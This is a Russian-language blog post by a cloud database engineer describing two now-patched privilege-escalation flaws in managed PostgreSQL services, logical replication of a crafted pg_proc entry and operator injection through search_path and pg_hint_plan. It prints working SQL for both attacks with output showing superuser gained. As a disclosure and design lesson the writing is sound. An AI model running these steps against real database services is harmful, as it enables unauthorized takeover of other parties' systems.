Меня зовут Евгений Ефимкин, я руковожу группой Platform Reliability в Yandex Cloud. В числе прочего мы занимаемся безопасностью наших managed‑сервисов.
В managed PostgreSQL мы не выдаём клиенту привилегии superuser — иначе он сможет выйти за пределы своей базы прямо в операционную систему. Чтобы клиент при этом мог выполнять привилегированные операции: создавать базы, заводить роли, менять настройки кластера, — мы пишем сервисы Control Plane и выдаём специальные ограниченные роли (без выхода в ОС и без обхода проверок прав).
Несколько лет назад, занимаясь поддержкой логической репликации, я понял, что и этого мало: у PostgreSQL остаются места, где он сам, изнутри, выполняет код от superuser в обход всей конструкции. Дальше — два случая повышения привилегий у двух разных публичных облачных провайдеров. Оба вектора к моменту публикации закрыты — и в апстриме PostgreSQL, и у самих сервисов; оба провайдера своевременно проинформированы.
Как получить superuser через логическую репликацию
История относится ко временам PostgreSQL 10. Для поддержки логической репликации нам нужно было позволить непривилегированному пользователю создавать SUBSCRIPTION. Задача решилась небольшим патчем для нашей встроенной роли mdb_admin (той самой, которую мы выдаём клиенту вместо superuser).
Пока я писал этот патч, мне пришлось разобраться, как логическая репликация работает изнутри. И там обнаружилась ключевая деталь: фоновый процесс, применяющий строки из WAL, работает с правами superuser — то есть в обход проверок прав доступа в принципе.
Теория: как устроена логическая репликация
Логическая репликация в PostgreSQL построена на модели publisher‑subscriber:
-
Publication на стороне источника определяет набор таблиц, изменения которых публикуются в WAL в логическом формате.
-
Subscription на стороне получателя подключается к publication и применяет полученные изменения. Применение происходит в фоновом процессе logical replication worker, который работает от имени суперпользователя.
Создатель подписки — обычный пользователь. Изменения за него применяет процесс с правами superuser. Именно в этом разрыве и кроется возможность для эскалации.
Эксплуатация
Идея проста: если можно заставить subscription применить изменения к системным таблицам, мы получим superuser.
В качестве источника я поднял PostgreSQL на своей виртуалке и попробовал добавить в publication таблицу из системного каталога. PostgreSQL этого не позволяет, но ограничение обходится параметром allow_system_table_mods = true — после чего можно вручную вставить любую таблицу в pg_publication_rel. Я решил использовать pg_proc (каталог функций).
Дальше — проверка на чужом облаке. Без superuser обычный клиент SUBSCRIPTION создать не может, но это и не нужно: большинство managed-провайдеров поддерживают логическую репликацию тем же способом, что и мы, — через свою привилегированную роль, аналог mdb_admin. У Провайдера А такая роль была. Создаю подписку:
CREATE SUBSCRIPTION mysub_superCONNECTION 'host=myhost port=5432 dbname=postgres user=postgres'PUBLICATION pubWITH (copy_data = false);
Параметр copy_data = false нужен, чтобы избежать конфликтов строк между двумя кластерами — мы хотим реплицировать только новые изменения.
После этого на стороне нашего кластера (publisher) создаём функцию:
CREATE OR REPLACE FUNCTION update_pass()RETURNS text AS $$UPDATE pg_catalog.pg_authid SET rolsuper = true;SELECT 'hacked';$$ LANGUAGE SQL SECURITY DEFINER;
Эта функция реплицируется в pg_proc на стороне облачного сервиса. Проверяем:
postgres=# SELECT update_pass(); update_pass------------- hacked(1 row)postgres=# SELECT usename, usesuper FROM pg_user WHERE usename = 'user1'; usename | usesuper---------+---------- user1 | t(1 row)
superuser получен.
Что закрыло этот вектор
В PostgreSQL 16 модель работы логической репликации переписали: logical replication worker теперь применяет изменения от имени owner подписки, а не от superuser.
Как получить superuser через search_path и operator injection
Первый кейс — про системный компонент, logical replication worker. Но тот же шаблон встречается и в куда менее ожидаемых местах. Через несколько лет я зашёл к свежезапущенному провайдеру.
Из доступных операций — создание пользователей, баз и установка расширений. Глобальные настройки кластера менять нельзя. Я пополнил счёт, создал кластер — внутри ванильный PostgreSQL 17 без встроенных ролей. Но я как owner базы имею право менять её параметры — и это уже зацепка.
Теория: что такое search_path и почему это опасно
search_path — это параметр PostgreSQL, определяющий порядок поиска схем при обращении к объектам без явного указания схемы. По умолчанию он равен "$user", public. Когда вы пишете SELECT * FROM my_table, PostgreSQL ищет таблицу сначала в схеме с именем текущего пользователя, затем в public.
Это создаёт классический вектор атаки: если злоумышленник может поместить свои объекты (таблицы, функции, операторы) в схему, которая стоит в search_path раньше pg_catalog, то при неквалифицированных вызовах PostgreSQL найдёт подменённый объект вместо настоящего.
Разведка
Самый интересный параметр базы — как раз search_path. Я переопределил его и попробовал создать расширение через API провайдера. Расширение спокойно создалось — внутри моей схемы. Это серьёзная проблема: API ставит расширение от имени привилегированного пользователя, но с тем search_path, который выставил клиент. Поэтому оно и оказалось в моей схеме.
Оставалось понять, как это эксплуатировать. Каких‑либо логов на тот момент не было, а pg_stat_activity и pg_stat_statements без специальной роли скрывают активность других пользователей. То есть напрямую увидеть, какие именно запросы выполняет Control Plane от своего имени, было нельзя. Единственная зацепка — расширения, которые он для меня устанавливает.
В списке расширений были pg_partman и pg_hint_plan. pg_partman за последние годы вычистили от SECURITY DEFINER и других опасных мест — отпал. Остался pg_hint_plan.
Теория: operator injection
В PostgreSQL операторы (=, <, > и так далее) — это обычные объекты базы, принадлежащие схеме. Когда вы пишете a = b, PostgreSQL ищет подходящий = для типов аргументов через search_path — ровно так же, как ищет функции и таблицы. Если мы можем поместить свой = в схему, стоящую в search_path раньше pg_catalog, PostgreSQL вызовет нашу функцию вместо встроенного сравнения.
pg_hint_plan и operator injection
Я перешёл к анализу pg_hint_plan — расширения, которое позволяет использовать хинты в запросах для переопределения методов доступа (аналогично Oracle hints). После включения расширения в pg_stat_statements я увидел, что от моего пользователя неявно выполнился запрос:
SELECT hintsFROM hint_plan.hintsWHERE query_id = $1 AND (application_name = $2 OR application_name = $3)ORDER BY application_name DESC
Я предположил, что этот же запрос может выполниться и от суперпользователя, когда тот делает запросы к базе с активным pg_hint_plan. Обратите внимание: в запросе query_id = $1 используется оператор = без указания схемы. Это ключевой момент.
Эксплуатация
Чтобы проверить гипотезу, я создал новую пустую базу данных, а в ней — схему:
CREATE SCHEMA hint_plan;
Функцию, повышающую привилегии:
CREATE OR REPLACE FUNCTION hint_plan.evil_eq(bigint, bigint)RETURNS boolean AS $$BEGIN ALTER USER test WITH SUPERUSER; return true;END;$$ LANGUAGE plpgsql;
Переопределяем оператор сравнения для bigint:
CREATE OPERATOR hint_plan.= ( LEFTARG = bigint, RIGHTARG = bigint, FUNCTION = hint_plan.evil_eq);
Переопределяем нужный search_path на уровне своей базы:
ALTER DATABASE test SET search_path = hint_plan, pg_catalog;
Создаём через API ещё одно произвольное расширение — это заставит привилегированного пользователя выполнить запрос к hint_plan.hints, при котором сработает наш =. Результат:
SELECT rolname, rolsuper FROM pg_roles WHERE rolname = 'test'; rolname | rolsuper---------+---------- test | t(1 row)
superuser получен через operator injection.
Что закрыло этот вектор
По следам этих экспериментов мой коллега сделал патч в pg_hint_plan — внутренние запросы расширения теперь явно квалифицируют операторы и функции через pg_catalog. Патч принят в апстрим. Самому провайдеру мы тоже сообщили о проблеме.
Что важно держать в голове, проектируя managed-БД
Оба кейса выше — это один и тот же баг с разных сторон. Superuser в managed PostgreSQL не принадлежит пользователю и не должен. Но он принадлежит компонентам системы, которые что‑то делают за пользователя: logical replication worker применяет от привилегированной роли строки, которые пользователь добавил в публикацию; Control Plane от привилегированной роли создаёт расширение в схеме, которую пользователь подсунул через search_path. Безопасность managed‑сервиса — это, по сути, дисциплина: перечислить такие компоненты и убедиться, что пользователь не может подать им на вход что‑то, ломающее их инварианты
Конкретные дыры из обоих кейсов закрыты — и в апстриме PostgreSQL, и у провайдеров. Шаблон не закрывается ничем: правильный вопрос при ревью архитектуры managed‑сервиса — не «может ли клиент сделать X», а «кто делает X за клиента, и что клиент может ему подсунуть на вход».
Буду рад ответить на вопросы, а также обсудить ваши эксперименты с PostgreSQL. Делитесь в комментариях, а также вступайте в сообщество платформы данных Yandex Cloud, где мы делимся новостями и обсуждаем технические вопросы.
ссылка на оригинал статьи https://habr.com/ru/articles/1040504/